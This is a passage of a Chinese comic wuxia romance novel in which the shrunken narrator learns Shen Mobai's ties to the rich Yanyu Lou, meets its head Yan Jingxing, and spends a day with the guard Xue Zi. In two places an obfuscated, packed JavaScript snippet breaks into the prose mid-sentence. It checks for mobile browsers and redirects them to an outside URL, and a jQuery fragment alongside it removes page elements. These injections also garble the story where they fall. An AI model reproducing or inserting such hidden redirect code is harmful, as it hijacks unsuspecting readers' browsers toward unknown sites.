黑衣人走到沈墨白背后,颔首,弯腰,行礼,“主人。” 我愣了三秒钟。 我擦!这是什么玩意儿?!为毛沈墨白这个穷鬼也会有暗卫这种牛逼的配备?! 我一把揪住沈墨白,瞪大眼睛怒道,“沈墨白!你你你,你给我说清楚,这家伙哪里冒出来的?!” “咦?”沈墨白的语气无辜,他的表情却是高深莫测,似笑非笑,总之让人看了觉得很欠扁,“你不是早就见过他了吗?” “见过?”我皱眉,转过头,仔细去瞧。 那个暗卫小哥——马尾,黑衣,古剑,大眼睛高鼻梁,基本分类为——不苟言笑的美少年。 我终于认出来,这不就是没事儿喜欢扔银子给我的怪美少年嘛! “呀!是你!” 薛紫不说话,有点郁闷地浅浅叹了口气。 苏小小眨巴着眼睛,看了看沈墨白,看了看薛紫,又看了看我。 “呀,妹妹,你不会是不清楚这位所谓的沈公子的来历吧?” 我心中一凛,大概明白了几分。哼,沈墨白,你果然不是什么浪迹江湖的无业游民,不是什么沈家遗后,你是在玩冒名顶替的小把戏。 于是我装傻,倒吸了一口气,一下扑进苏小小的怀里,“姐姐,他骗我说他是沈家堡的遗后,我以为他是好人才跟他走的!他骗我!是大坏蛋啊!” 苏小小轻声笑起来,摸了摸我的头发,“别怕呀,虽然他是爱骗人,但也不是什么坏人。 “那他到底是什么人啊?” “他是江南杭州烟雨楼的总管。” “烟雨楼?” “对,”苏小小解释道,“苏杭有姓颜的一大世家,几代之前是天下第一富商。后来,颜家致力于搜集普天之下的奇珍异宝,聚集天下奇人异士,并以此而闻名于世。烟雨楼百年来一直中立,非正非邪,江湖中不论好人坏人,只要是身怀绝技就可投靠烟雨楼之中。虽然烟雨楼行事神秘,并且罕有涉足江湖之事,但因为烟雨楼太有钱了,所以只要是江湖人,没有不知道烟雨楼的。” 本座混了二十年江湖,自然知道烟雨楼是个什么东西。既然是烟雨楼的总管,那么沈墨白会有沈家的笛子,天机山庄的乌龙锁,还有一些身怀绝技的暗卫就不足为奇。 若是沈墨白当真为烟雨楼中之人,一向不涉江湖之事的烟雨楼却突然插足其中,着实不能不令人介意。 苏小小说到这里,忽然压低了声音,凑到我耳边轻语,“说不定……你呢,也正是沈墨白想搜集 的‘奇珍’之一呢。” 18. 沈墨白其人 姓沈的人渣果然不是什么沈家遗后,难怪此人行事常常前后矛盾难以自圆其说。他身上压根就没有背负血海深仇的那种苦大仇深的气质,反倒是整天吊儿郎当,对一切都甚是无所谓。像他这类的人,大多自小众星捧月一般,养尊处优,想要什么便有什么,以至养成了看什么都不稀罕的贱样。若他真的是沈家遗后,恐怕见面第一天,我就被他剁啊剁啊给扔在荒郊野外喂蚂蚁了。 想明白之后,本座突然发现我根本就不欠他什么,顿时怒火中烧。 我怒指,“沈人渣,你骗我。” 沈墨白无所谓地耸了一下肩膀。 我想了一下,更正道,“不对,应该是:你又骗我!你嘴里到底有句真话?!” 沈墨白慢悠悠摇头,表情装无辜,“不知道,我也没数过。” 我抬眼盯着他,狠狠对他比了一下中指。“你个贱人……” 突然,我脑中灵光一闪,想到了一个疑点。 “沈墨白,”我贴近他,一只手捏着他的下巴,双眼近距离盯着他的眼睛,认真道,“既然你是烟雨楼的管事,既然你那么有钱,干嘛装得一副落魄穷鬼的样子,干嘛非得让我要了几个月的饭来养你?!” “呃……”沈墨白语塞。 我狠狠瞪他。 最后他被我盯得有点不自在地别开眼睛,装傻看天。 “这个问题嘛……” “快点给我从实招来!” “你真的想知道?” “少废话!” “那是因为……因为看你努力赚钱养我的样子……实在很有趣啊……” 本座手残脚残,整天在肮脏的街角摸爬滚打!饱受调戏!他竟然说有趣?! “沈墨白你这个贱人!!”本座当场抓狂,发飙得蹦起来,毫不犹豫就对着他肩膀一口咬下去! 沈墨白被我咬得一声惨哼,不过不知道他是不是自己也觉得有愧,就让我咬了也没反抗。 现在我总算是明白了,为毛我只要一在墙角边儿上蹲下,就立刻有人排着队扔钱!不是因为我长得惹人怜爱,而是因为沈墨白的暗卫们实在是看不下去自家主子穷酸落魄的鬼样子了,所以变着法子丢钱给我!现在仔细想想,果真给我扔大额银子的,来来去去就是那么几张熟脸! 咬了半天也不解恨,我也不再跟自己的牙口过不去,一把推开沈墨白,哼了一声不理他了。 沈墨白面对我的刮人眼刀完全不知畏惧,反而一下子凑过来蹲在我旁边,把我搂进怀里。 他气息吹在我脖子上,我厌烦得把他往外推,“干嘛?” “小白,其实爹爹我银子是大把的有,你不如……”沈墨白做妖娆状,扬起一边的眉梢,诱惑十足盯着我。 我对沈墨白的脸其实没什么抵抗力,语气微微的变弱,“不如什么?” “不如,你趁早弃暗投明,跟了我。” 我翻了个白眼,哼了一声。 沈墨白就权当我是默认了。他转身,推了一把薛紫,把可怜的小美男推到晾在一边有一会儿的苏小小身边。 “这个怎么样?”沈墨白那表情那口吻,十足是卖儿子的架势。 苏小小双手抱胸,围着薛紫转了一圈,上上下下里里外外自习打量了一番,“嗯嗯,不错不错,年纪小,皮肤好,腰身儿不错。不错不错。货色上乘。” 沈墨白更加邪恶地推销道,“这孩子的功夫也一流,包您满意。” 喂喂,我说你这个功夫到底指的是哪个方面啊喂?! 苏小小那厢暧昧一笑。 “这孩子呢,自然比不得沈公子,不过勉勉强强,也够您还我这个人情了。” 薛紫这厢已经觉得气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349854|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛相当不对了,他弱弱看了一沈墨白,小小声,“主人……” 沈墨白拍拍他的肩膀,“薛紫,今日你就跟着苏姑娘,记住要如服侍我一样用心服侍苏姑娘。” 薛紫张了张嘴,惊异得看着沈墨白,不过最后还是垂首道,“是,主人。” 我的目光在沈墨白和薛紫身上来回游移了一会儿,脑中逐渐浮现两个大字——断!袖! 我犹自沉浸在对沈墨白性向的怀疑之中,沈墨白已经抱着我下了楼,留下了那可怜的薛紫给苏小小那人面狐妖。 我趴在沈墨白背上,看着薛紫看家犬般默默目送着自家主人。 他一句话也不会说,不会抱怨更不会抗命。 但是我知道,如果他真有耳朵的话,这一刻肯定是耷拉下来,一副可怜相。 他旁边的苏小小把一只手搭在薛紫的肩上,顿时,我脑子里不断冒出“采阳补阴”之类邪恶的武功以及邪恶的画面。 可怜的薛紫。我叹了口气。 原来做沈墨白的暗卫,比做我的暗卫安全系数更低,不仅性命不保,这贞操也不保了。不知道他们的工资补贴是不是也更丰厚一点。 沈墨白抱着我下了楼,立即有一个侍卫打扮的男人快步走上来,恭敬道,“主人,车马已经备好了。” 他低头看着我,那双眼睛似笑非笑的,有点志在必得的意思。 沈墨白这老狐狸,似乎是把一切都算计进去了。他算计到了我今天会跟踪他,算到了苏小小会抖露他的身份。于是连回自己老窝的车马都备好了,就等着拐我回去。 他一次性算计那么多,真是够难为他的。 我趾高气扬得扬了扬下巴,“走吧,回你家。” 坐进马车,车帘“唰”得一声被放下来。 马夫吆喝之下,马儿嘶鸣了一声,马车绝尘而去。 19. 正房夫人 捉奸在床 沈墨白把我接进他在金陵里真正的府邸。这府邸坐落在闹市之中,却是闹中取静。园内是绿树成荫,小桥流水,青林翠竹,游鱼细石。沈墨白有钱了,我也就用不着十四整天替我结账,于是打发他去打探这次金陵武林同盟围攻镜花宫的事,我自己和沈墨白就住在这宅子里,两个人像在养老一样,每天就是吃吃喝喝玩玩。只不过,沈墨白喜欢虐待我的癖好还是没有改变,虐待的方法倒是变了变,他整天变着法子的打扮我,把金陵城里最好的裁缝、绣匠、妆师、制香师全给请来了。而且每日都摆出老爹的架势来,经常嘟囔着什么,“你看看,这没过几天就又长高了,脚丫子也长大了,又得买新的……” 我说,我又不是哪吒?!哪能长那么快?!这些都是你乱买衣服的借口吧?! 本座向来对于这些女儿家的东西不感兴趣,于是日日都被折腾得死去活来一腔怨念。 我们如此过了大概有七八日,直到有天早晨出了乌龙。 一大早,我睡在沈墨白的肚皮上,脸随着他的呼吸有规律地一起一伏,一梦正酣。 就在我们一大一小正睡得不亦乐乎,突然之间,变数途生!我朦朦胧胧中就听到“嘭!”得一声巨响。 这声音我还挺熟悉——此乃门被整个踢碎的声音——本座以前经常如此行事。 我半梦不醒抬头,朦胧瞅见一天青色的身影旋风一样卷进屋。 真的是卷进来的。 看来这家伙是已然气疯了,这么大一房间竟然两步就跨过来了。 我跟沈墨白的睡相都一塌糊涂。本座从前睡相自然是优雅非常,只是变小之后颇为有些不拘小节……现在本座只要一睡觉,醒来时定然衣衫凌乱,发型如若迎风以日行千里之速奔跑了整夜一般。我承认,沈墨白的睡相是被我带坏的。他开始的时候睡觉还挺优雅,现在也是一副衣襟半敞,春光无限的睡相。 沈墨白比我反应快,他一瞬间就完全清醒了,惊慌失措手忙脚乱地把被我踢掉在地上的被子扯起来,一下子把身体盖住,顺便也把我给整个塞进被子里头。 我听到被子外头一声怒吼,“沈墨白!你给我说清楚!” 沈墨白不说话。那个声音继续吼,“你你你,你在这里养了个女人是不是?!你整天还给她买衣服是不是?!还买首饰?!买鞋子买袜子买肚兜买好吃的!是不是!” 沈墨白还是不说话。 那声音于是又继续崩溃得大吼,“你就这样挥霍我辛辛苦苦赚回来的血汗钱?!你说话啊你!” 沈墨白明显得向里头缩了缩。他这反映,明显是害怕这个正在向他河马吼的家伙。 我顿时好奇心大起,倒是哪位壮士啊,竟然能够镇得住这个无法无天的沈墨白? 我偷偷得掀开被脚,露出来颗脑袋出来。 我一抬头,却不料床边的那位已经停止向沈墨白发起总攻,而是正盯着我。 我们俩这一照面,顿时,我和这位壮士,同时看着对方陷入了无限的茫然。 床边的这位壮士身穿一身天青色的九缎锦衣,窄袖,窄腰。这一身打扮衬得他腰细腿长,一头黑发整齐地用一个雕工精细的莲花白玉簪束起。 这位壮士长得相当清秀,不过,看这位壮士的这身打扮,怎么看都是个……男人…… 那位壮士此时也反应过来了,突然悲痛欲绝道,“沈墨白!!你们连孩子都搞出来了?!到底是什么时候的事!” 我眨眨眼睛,狡辩道,“我不是他女儿……” 那位壮士猛地一拳揣在床柱上,揣得整个床抖了三抖。 “还说不是?!你看你们这眼睛!这鼻子!这嘴巴!根本就是一模一样!” 他说完,我和沈墨白默默对望了一下,然后同时别开脸。 沈墨白一脸嫌弃得摇头,“怎么可能像。” 我一脸鄙视得瘪嘴,“不可能不可能。” 然后我对那位壮士十分认真道,“哥们儿,你是不是搞错了?你嘴里说的那个被包养的女人,不才,正是在下。” 床边的壮士顿时愣住,“咦?不是你娘?” 我无语了一瞬,迅速调整出一个礼貌的微笑,摇头道,“不,我没有娘,也没有爹。这位沈墨白,沈侠士,沈大善人,看我可怜,就把我捡回家了。” “咦……”床边的人,终于认识到是自己搞错了。只见,他的脸色以肉眼可见的速度,一层层变红。 沈墨白刚才刚睡醒一时间被床边的家伙给吼晕了,这下子貌似是终于缓过来一口气。他低声咳嗽了一声,“颜静行,你千里迢迢跑来金陵做什么?” 原来床边的壮士名唤颜静行,倒是个清净素雅的名字。 这下换成了颜静行一脸尴尬,哑口无言。他有点慌乱得看天,手足无措地指了指门又指了指我,“那个……我……” 吵架就是这么个道理,输了气势,便是输了个彻底。 沈墨白彻底找到了感觉,他皱眉,颇为威严指责,“就为了这么点小事,你就把该做的事情都丢下了?颜静行,你也这样任性地跑出来,‘家中’何人执掌?” 其实仔细分析这句话,沈墨白跟本就没理。首先,一个“也”字,就暴露是他有错在先。只可惜,颜静行被他那个霸道的气势给震慑了,只是弱弱道,“不是还有‘戚叔’在嘛……” 沈墨白继续把眉头又皱得更深了几分,他做无奈状抬起,“静行,你先出去自己冷静一下,我要换衣服。” “哦……”颜静行最后垂头丧气,灰溜溜地从破碎的门里走了出去。 我看到薛紫偷偷在门边探了探头,看到他家沈墨白没事,才松了口气。 颜静行一走,沈墨白就先捞了衣服替我穿戴,他替我扣扣子的时候,我闲着无聊忍不住打探,“那家伙是谁?” 沈墨白的脸近在咫尺。难得,这家伙此时露出了一脸无奈外加苦大仇深的表情。 他们的关系果然不!一!般!沈墨白!你断袖?!你竟然有龙阳之癖?! 沈墨白不知道我在想什么,就算他有读心术,也读不懂我到底在想什么,“颜静行,他是烟雨楼这一代的当家。” 我倒抽了口气。这小子这么年轻就做当家的了?而且还是那个天下第一富,充满了能人异士的烟雨楼?怎么看,这小子这么嫩,都不可能把这个当家之主的位置坐稳。看来,他身边的那个什么“戚叔”绝对不容小觑。 “喂,”我眼睛一转,暧昧地用肩膀撞了一下沈墨白,“你和你老板什么关系?” 沈墨白有点不自然地瞥了我一眼,“他是主子,我是奴才。” “哦?这可不太像呦。”我不怀好意得对着他眨巴眼睛,“刚才他那架势,分明就是正房太太前来捉奸。” 沈墨白刚喝了口漱口水,听到这句话,差点没一口把漱口水给咽下去。 他咳得声嘶力竭,我于是更加确定。 “你们关系肯定不正常……” 趁沈墨白洗漱更衣的时候,我打开窗子,在屋外全天候驻守的薛紫召唤出来。 “喂喂,薛紫,我有点事儿要问你。” “嗯?” 我小心翼翼瞅了瞅背后,见沈墨白没在意这边,神秘兮兮压低了声音,“你家主子,有老婆吗?” 薛紫没想到竟然是这个问题,他愣了一下,为难,“这个……” “哎呀,”我大大咧咧挥了挥手,“这又不是什么秘密。沈墨白都二十好几了,娶个十个八个老婆不是很正常的事嘛?你看,如果我以后真的做了你家主子的闺女,总要知道自己有几个干娘吧?” 薛紫听我这样说,他犹豫了一下,答道,“应该说,道理上,是有一个……” 我一听,立马兴趣大起,八卦兮兮追问,“正房?” “嗯。” “什么叫道理上?” 薛紫皱眉,有点为难地吞吞吐吐道,“就是说……” 我一点就透,飞快接话,“没圆房?” 薛紫一听脸就红了。这孩子真纯情。不过他也没否认,看来事情就是这么回事。我“啧”了一声,手摸着下巴盘算。 不圆房?沈墨白都这年纪了,理应是妻妾成群,子女成双。可是现在却是孤家寡人。莫非沈墨白真龙阳啊?但是,感觉上是他老板颜静行单方面调戏他嘛。啧啧,莫非是迫于老板的压力所以才不能跟自己的正房过上□□生活?真是没想到啊,颜静行竟然能让沈墨白这样的人间极品竟然怕成那样,真是问世间情为何物,乃是一物降一物…… 事实证明,沈墨白还真不是一般怕他老板。 这厮穿好衣服,收拾了东西,一下把我揣进怀里,偷偷摸摸就往后门溜。我看他那个架势,明显是打算畏罪潜逃。我一发现他的意图,立马在经过花园的时候,死死抱住紫藤花架的一根柱子不松手。 哼,小样,本座的幸福就是建立在你的痛苦之上!本座怎么可能随随便便放过整你的大好机会! 我抱住柱子,扯开嗓子,仰天嚎叫:“沈墨白!这里有吃的又有喝的,还有漂亮的侍卫哥哥和婢女姐姐,我不走我不走!来人呐!沈墨白要逃家啦!” 沈墨白脸色一变!他做梦也没想到我竟然故伎重演,又以嚎叫坏他好事,只可惜此时想捂住我的嘴也来不及了。 他气急,低声骂了一句,“死丫头你找死啊!”然后使劲拽我的腰,试图把我从柱子上拔下来,无奈本座生得力大无穷,一大一小以拔萝卜的姿势僵持半晌,那柱桩差点被连根从土里拔出来,我手都没松。 我这一嗓子吼完再加上这么一耽搁,没过多久,就看到花园里三层外三层冲进来无数举着棍棒的打手。他们个个如临大敌,凶神恶煞把棍子对着沈墨白。 沈墨白自知来不及逃了,他恶狠狠瞪了我一眼,“死丫头,你害死我了。” 我撇了撇嘴没说话,暗想,谁叫你不自己跑。 几秒寂静之后,颜静行从花园的拱门里走了出来。 一上来,就是一声怒斥,“沈墨白,你又想跑?!” 颜静行他负手而立,可惜皱眉的样子非但没有威严的感觉,反倒像女孩子的嗔怒。 沈墨白已经松了抱着我的手,留着我一个人壁虎一样挂在柱子上。 他闻言,挑眉一笑,“笑话,这里是我家,我为什么要跑?” 颜静行哼了一声,眯起眼睛质问,“那你们在干什么?” “散步,赏花。我爱干什么就干什么,轮得到你来管?” 颜静行阴阳怪气“哦”了一声,他忽然快步走到我身边,一下子把我从柱子上摘下来,“行啊,你随便逛,随便看,不过呢……”他冷笑了一声,把我抱在怀里头,“这个东西,我没收了!” 我本来是抱着“鸳鸳相报何时了,本座在一边儿看热闹”的心态,看小冤家斗嘴看得无比欢乐,谁料,这颜静行原来不傻啊,竟然拿我当人质。 真是人家点炮,我为炮灰…… 沈墨白顿时怒了,他脸上的表情发生了相当微妙的变化。 先是不可置信,显然是不明白为这个跟自己本来就没什么关系的小东西为什么能被拿来威胁自己。 接着是犹豫,貌似是顾虑到少了这个小东西就少了好些乐趣。 最后他冷冷瞥了一眼颜静行,丢下一句,“随你高兴”就头也不回得走了。 打手们手里仍旧举着棍棒,然而沈墨白径直从他们身边走过,这些人也只能低下头让出一条道儿来,完全不敢找茬。 颜静行看着沈墨白毫不留恋的背影,无声地叹了口气。末了,他挥挥手,把闲杂人等都遣散了。 我仍旧被他抱着,我抬头看着他,他也低头看着我。 最后,他半犹豫地开口,“你……” 我以为他又要质问我是不是沈墨白的私生女,谁知道,他接着说道: “你头发谁梳的?怎这么难看……不会是沈墨白吧?他手也太笨了,你看,两个发髻左右都不一般高,发绳的颜色也那么土,跟衣服的颜色完全不搭,而且发髻的款式也过时太久了吧,漂亮的小姑娘搞得像个老气的老太太似地。” 等颜静行皱着眉头一口气把这发髻批得体无完肤之后,我看着他,笑眯眯地眨了眨眼睛,“不好意思,这个上不了台面又老气又难看的发髻,是我自己梳的……” “呃……”颜静行尴尬地语塞了一瞬间,然后他看天,再低头时,换了个和蔼可亲循循善诱的表情,“没关系,没关系,梳妆打扮可以慢慢学的,俗话说近朱者赤近墨者黑,你的品味肯定都是被沈墨白给带坏的,不怪你不怪你。我现在就带你去重新梳头发。” 他说着,就向自己的厢房走去。 颜静行住的是最好的西厢房,院子里种着一颗老海棠树,紫竹把整个厢房环绕了一圈,园内另有鹅卵砌的小池塘,环境清幽无比。 颜静行关起门来,让我坐在一把高凳上,亲自拿了梳子替我梳头发。 我倒是有点惊讶了。 照理说,像颜静行这种身份地位的人,不可能会拿着梳子伺候一个小丫头。如今我基本可以确定——要么,颜静行这个颜氏继承人,烟雨楼的老板是有名无实的摆设;要么,他根本就不是烟雨楼的老板。 “你看我干吗?”镜子中,颜静行透过倒影发现我在看他,于是温和地对我一笑。 颜静行对我完全不了解,所以对我全无防备,我知道这是个绝佳的套话机会。 “那个……你跟沈墨白,是什么关系呀?” “嗯?”颜静行手里动作一停,有点讶异地看着镜子里的我。 “啊,是这样,”我立刻装出一个童叟无欺的无辜表情,“我听说沈墨白是你的属下嘛,但是他对你这个老板一点也不好,也不认真工作,我怕你把他给开了,那就没人养我了。” 颜静行闻言一笑,“我可开不了他。” “咦?为什么呀?大白不是平白无故就扔下工作跑出来了吗?” 颜静行轻轻叹了口气,放下手里的木梳,“他这样也不是一次两次了,我们俩在一起十几年,他的性子就是这样……放荡不羁惯了,讨厌被条条框框约束着,越是不能做的事他偏要去做,越是要他去做的事,他又偏偏不肯做。” 我眨眨眼睛。心想,这丫逆反期也太久了。我要是颜静行,要是有这样的属下,非得把他打回娘胎,再让他重生一次! 颜静行安静了一瞬间,有些无奈一笑,“不过,就是因为这样的性子,他才是他,若是有一天他没了那放荡不羁的脾性,变得如其他人一般墨守陈规,那就不再是他了。” “你是不是喜欢他啊?”我说这话,是因为看到颜静行那副陷入沉思的表情,实在是忍不住了。 紧接着,就听到“啊”地一声惨叫。 “对不起对不起,扎到你了?” 那声惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我一边挣扎一边叫,“我为什么要过去!你想干嘛!你当着你老婆的面就跟别的女人拉拉扯扯,太没节操了!静行姐姐,救命啊!” 我一路就这么嚎叫着被拖走了,颜静行垂头丧气站在原地,目送着我们一大一小远去。 “你干嘛!放手!” 沈墨白一直把我从厢房拖出院子拖过花园,长廊,最后一直拖到大门口。 他随手把我往大门外一丢,一瞬间,我还以为他是终于嫌弃我了,要把我丢掉。 我被他从阶梯上丢下去,踉跄了一步,一屁股坐在了地上。 反正我仗着年纪小不怕丢脸,坐在地上就耍赖不起来,一边还踢脚捶手大喊,“你,你干嘛!虐待亲生女儿啊!” 这一叫,惹得周围的街坊邻居路人甲乙丙丁频频回首注视。 沈墨白跟我在一起时间久了,已经练就金刚不坏厚脸皮功,他忽略了众人目光,冷哼了一声,“颜静行好歹是我家的人,我也不能眼睁睁看着她被你欺负吧。” “笑话!谁欺负她了,”我也冷哼一声,“倒是你啊,指腹为婚的媳妇儿扔在家里不管,一离家就是一年半载的,你让人家一个年方韶华的姑娘独守空房情何以堪啊!” 我不知道自己是不是踩到沈墨白他的雷区了。 他突然盯着我,不说话了。两道冷飕飕的目光刺破空气扎在我身上,害我青天白日之下打了个寒颤。 我跟沈墨白刚认识的时候,两人总归还算不太熟,说话像下棋一般,各自腹黑得算计着对方,你来我往,相互试探,明枪暗箭。后来熟了之后,跟沈墨白的交流方式就变成了:要么是调戏和反调戏,要么是吵架加掐架。一般来说,我们吵得越热闹,掐得越激烈,其实双方倒没几分怒意。而被沈墨白这么不言不语地瞪着,我倒真有几分忌惮。 过了半晌,沈墨白别开了眼睛,显然是作了让步自行收敛了怒气。他哼了一声,“你以为是谁连累我回不了家的?” 我也松了口气,不过嘴上仍旧不饶人,“呵,笑话了,难道是我吗?不要把我当成你不回家的借口!我可没有拜托你照顾我,分明就是你非得把我拴在你身边,还拿了条破烂狗链子挂在我脖子上怕我逃走,”我说着,扯了扯脖子的乌龙锁,“铁证在此,你休想狡辩。” 沈墨白抱着胳膊,他眉头皱着,嘴角却是讽刺的笑容,“你以为你个小丫头片子是谁?嗯?要不是因为你娘亲,你以为老子有空理你?” 我闻言,猖狂地大笑几声,“这就更加是个天大的笑话了!我母上她老人家关你屁事!” 我们这一来一往吵得热闹,周围街坊们早就叽叽喳喳议论得热火朝天。 “哎呦,你看这小相公年纪轻轻的,闺女都那么大了!” “这丫头是私生女吧?看来这小相公是带着私生女不敢回家呀!” “也不知道孩子她娘亲到哪里去了,我看这小公子这面相,恐怕是个惧内的主儿,怕是不敢把外头的野女人带回家吧?” “哎呦,真是造孽……” 我此言一出,沈墨白果然不说话了。 末了,沈墨白沉声道,“薛紫!” 他话音一落,一个人影迅速从墙后头闪了出来,站在他身后半步,“主子。” “你带着小白出去逛,晚上再回来。我跟颜静行还有府内的人有话说。” “是。” 沈墨白说完,瞪了我一眼,转身进了大门。 随即,那红漆的大门像是泄愤似地,“嘭”得一声重重阖上。 我坐在地上对着沈墨白的背影挤眉弄眼扮鬼脸,薛紫无奈地看看大门,又回头无奈看看我,最后还是走下台阶把我从地上扶起来。 薛紫蹲在我面前,帮我拍干净衣服上的灰尘,恨铁不成钢道,“你说你,姑娘家没个姑娘家的样子,以后长大了小心没人要。” 我看小美男那杞人忧天的表情,觉得好笑。于是一下蹭到他身上,撒娇道,“要是小白长大了没人要,那薛紫哥哥要我不?” 薛紫自然没把我的话当真,捏捏我的脸,笑道,“好啊,如果真有那么一天的话。” “那我们拉钩。”我说着,翘起小拇指伸到薛紫的鼻尖儿前面,特别认真地看着他。 薛紫宠溺地微笑,“你这小丫头,”说完,还真的用小拇指勾起我的小指,“那我们约定好了。” 双手手指勾起来的时候,我突然有一种非常奇异的感觉。周围是热闹的街市,往来不绝的行人以及热火叫卖的小贩。这就是所谓的“平静”所谓的“市井”。我二十年来为人憎恶为人忌惮,竟然在此之前都不曾尝过所谓“常人”的生活。此时此刻,我第一次产生一种想法——原来,做一个什么都不会,没有任何威胁,爱撒娇,爱捣乱,令人头疼的小丫头片子,竟是一件挺不错的事情。你可以无理取闹,可以无法无天。不会有人想要害你,不会有人想要利用你,周围所有的人都把你当成小妹妹一样去保护,去宠爱,去包容,他们陪你玩,陪你笑,陪你闹,不期待从你身上得到任何东西。 一刹那,有一种今夕不知何夕的感觉。 我是谁? 一个江湖魔头还是一个毛头小孩?白玉蛟,还是小白?周围的景色突然变得虚幻,一切仿佛都只是镜中花,水中月,黄粱梦。指尖稍稍一碰,就都碎了。 20. 人品如酒品 据我观察,沈墨白八成不是烟雨楼的管事,而是烟雨楼的压寨相公。 我看,他们俩凑成一对,估计是处于政治联姻因素。 单从沈墨白对待颜静行的爱理不理的态度,两人之间暧昧不清的气氛,以及底下人对沈墨白毕恭毕敬,小心翼翼的样子,是个人就能看得出其中关系。 不过呢,沈墨白貌似是特地对府里的下人和颜静行灌输了要小心提防我,后来不管我怎么套话打探,都问不出个所以然来。 那么,这个沈墨白究竟是怎么样的人物,才能被烟雨楼一眼相中? 从颜静行言语中,我猜,沈墨白跟她应该是从开裆裤玩到大,青梅竹马的发小。 那江湖中,又或者说这天下,哪一户哪一派能算得上与烟雨楼门当户对呢? 我觉得,最起码,必须是武当这种级别的大门派继承人级别,或者像凤栖梧那样的太子党。 沈墨白坑我说自己是烟雨楼的管事,不过是个烟雾弹。说到底,我还是不清楚沈墨白这厮到底有什么样的家世背景。 再者,这个颜静行追来金陵真的只是为了抓奸?又或者另有隐情? 颜静行真的只是个被家族宠坏了的,恣意妄为的大小姐么? 沈墨白为什么想方设法都想避开她?只是因为不想与她成亲? 烟雨楼又到底是个怎样的组织?这些年我倒是一直把它给忽略过去了,难道它真的能安安分分不涉足江湖之事? ··· 薛紫拉着我在东市热闹的街巷上闲逛,我兀自摸着下巴想着沈墨白的事情,有点心不在焉。 “小白,你想吃点心吗?” “啊?哦……” “那个卖篦子的店在金陵城里是数一数二的,你想不想要一个?” “哦,要……” “那个风筝做得挺精致的。” “不错……” “那个……” 当我们从东市的南头逛到北头时,我才蓦然回神,发现身边的薛紫步履维艰,左手托着一纸包点心,胳膊上挂着零零碎碎七八件小玩意儿,背上还背了个巨大的风筝,右手更是不闲着,抓着一个跟自己几乎等身长的大包裹。 我看到他,顿时瞪大眼睛,倒抽一口冷气,“阿紫,你怎么这么调皮?” 薛紫顿时有点跟不上我思维的进度。 他的眼神里显露出几分惊诧,连“阿紫”这个暧昧兮兮的称呼都给忽略了,“啊?怎么了?” 我做老成状摇了摇头。 薛紫虽然是个十四五岁的少年,但也是名名副其实的暗卫。 暗卫这种工作,像空气一般——无所不在,又飘忽不定。每天十二个时辰都得守在主子身边,半点人身自由都没有,生活除了偷窥就是偷窥,自然无聊之极。 我心下了然,“哎”叹了口气,踮起脚尖,拍拍他的肩膀,“阿紫,我知道你平时难得出来玩一下,难免看到新奇的东西都想买一点。不过,你看……这个皮影明明是小孩子玩的东西,你都这么大了……你别皱眉头,没关系,我不会告诉别人的,到时候沈墨白问起来就说是给我买的……你别那个表情啊,别太感动了,我会不好意思的。” 说完,我善解人意地又拍了拍他的肩膀,十足的长辈架势。 薛紫吸了口气,又慢慢吐出来,最后按耐住了把手里的东西一股脑全扔我脑袋上的冲动。 不能跟小丫头一般见识…… 他默默想,自家那个祸害主子跟这个气死人不偿命的小魔头凑一对,还真是天造地设地登对。 登对? 不不不。 他们怎么看都更像父女一点吧…… 不不不,我脑子里怎么冒出“乱|伦”两个字啊!不能被主人的思维方式给影响了啊! 薛紫赶紧摇摇头,甩掉这种有违伦常的想法。 我看薛紫的脸色阴晴不定,忽微笑忽蹙眉,忍不住担心起来,“喂喂,我说,阿紫,你没事吧……我怎么觉得你有失心疯的前兆了啊……” 傍晚时分,我硬要在街边的小吃喝豆腐花,薛紫拗不过我,只好陪着我跟一群平民一起挤在小摊子里。 我看他拿着油腻腻的餐具,盯着手里的东西却下不了筷子,忍不住问道,“阿紫,我看你出身不差吧?为什么要做暗卫?” 薛紫所幸放下筷子。 他托着下巴,微微一笑,“我呢,家里的确是世家大族,只是我出身并不好。若不是主人带我离开本家,我可能也只能一直被人欺负下去,这辈子庸庸碌碌无所作为。” 薛家?他这一说我倒是响起来,薛氏那可是当世四大姓氏之一,无论是武林,还是朝堂上,薛家的力量都不容小觑。不过因为是个大世家,薛姓的人实在是太多了,分支旁支一大串,更别说还有些奴才下人被主子赐姓。 这薛家,光是同一辈人,就有好几百号人。虽然姓薛事件光荣的事,但也不是每一个姓薛的都是有权有地位的家伙。 我本来是没想套话的,只不过紫淼对我一点防备也没有,竟然和盘托出了。 我立即“嘁”了一声,吸了一口豆腐花,又挖了一大勺花生米塞进嘴里,“那你跟着他跟着他?无赖一个,跟着他还能有什么出息?” 薛紫摇摇头,“你不懂主人的好处。” 我大嚼特嚼花生,嚼得嘎嘣嘎嘣响。 模糊不清道,“好吧好吧,就算沈墨白他是个人才。那你当暗卫有什么好?每天不见天日的,没有身份没有姓名,你再厉害也没人知道你是谁。把自己的光和热都奉献给沈墨白那家伙,值得吗?” 薛紫听了这话却不怒,浅浅叹了口气,“主人也说过这样的话……他说先让我在他身边历练两年,等我成了年,就不再允许我当暗卫。” 我飞快咀嚼的动作一下子慢了下来。 沈墨白对薛紫的那种心情我多少有些理解。 薛紫他跟着沈墨白数年,沈墨白眼看紫淼一年一年地长大,一年年成熟起来,从一个孩子变成一个男人,就好像是自家的孩子一般,像自己带大的亲弟弟一样,怎么舍得让他留在自己身边受苦受累? “其实,我是很乐意留在主人身边的。”末了,我听到薛紫有些叹惋地轻声说。 